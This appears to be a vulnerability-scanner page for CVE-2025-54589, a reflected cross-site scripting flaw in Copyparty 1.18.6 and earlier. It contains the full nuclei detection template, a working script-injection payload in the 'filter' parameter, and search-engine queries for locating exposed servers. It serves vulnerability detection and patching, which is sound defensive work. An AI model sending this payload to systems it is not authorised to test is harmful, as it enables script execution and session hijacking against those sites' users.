Copyparty <=1.18.6 - Cross-Site Scripting

mediumseverity

6.3CVSS score

2.4%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

Copyparty before 1.18.7 is vulnerable to reflected cross-site scripting (XSS) via the 'filter' parameter in the '/?ru' endpoint. Unsanitized user input is reflected in the HTML response, allowing attackers to execute arbitrary JavaScript in the context of the victim's browser.

Impact

Attackers can execute arbitrary JavaScript in victim browsers through malicious URLs containing XSS payloads in the filter parameter, potentially leading to session hijacking.

Fix

Upgrade Copyparty to version 1.18.7 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/?ru&filter=%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E
Positive when: contains "filter\": \"</script><script>alert(document.domain)</script>" and "control-panel" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2025-54589 -u <target>

The full check

id: CVE-2025-54589

info:
  name: Copyparty <=1.18.6 - Cross-Site Scripting
  author: s-cu-bot
  severity: medium
  description: |
    Copyparty before 1.18.7 is vulnerable to reflected cross-site scripting (XSS) via the 'filter' parameter in the '/?ru' endpoint. Unsanitized user input is reflected in the HTML response, allowing attackers to execute arbitrary JavaScript in the context of the victim's browser.
  impact: |
    Attackers can execute arbitrary JavaScript in victim browsers through malicious URLs containing XSS payloads in the filter parameter, potentially leading to session hijacking.
  remediation: |
    Upgrade Copyparty to version 1.18.7 or later to mitigate this vulnerability.
  reference:
    - https://github.com/9001/copyparty
    - https://secalerts.co/vulnerability/CVE-2025-54589
    - https://github.com/9001/copyparty/security/advisories/GHSA-8mx2-rjh8-q3jq
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54589
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
    cvss-score: 6.3
    cve-id: CVE-2025-54589
    epss-score: 0.02375
    epss-percentile: 0.83996
    cwe-id: CWE-79
    cpe: cpe:2.3:a:copyparty_project:copyparty:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: copyparty_project
    product: copyparty
    shodan-query: http.title:"copyparty"
    fofa-query: title="copyparty"
    google-query: intitle:"copyparty"
  tags: cve,cve2025,xss,copyparty,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?ru&filter=%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'filter": "</script><script>alert(document.domain)</script>'
          - 'control-panel'
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from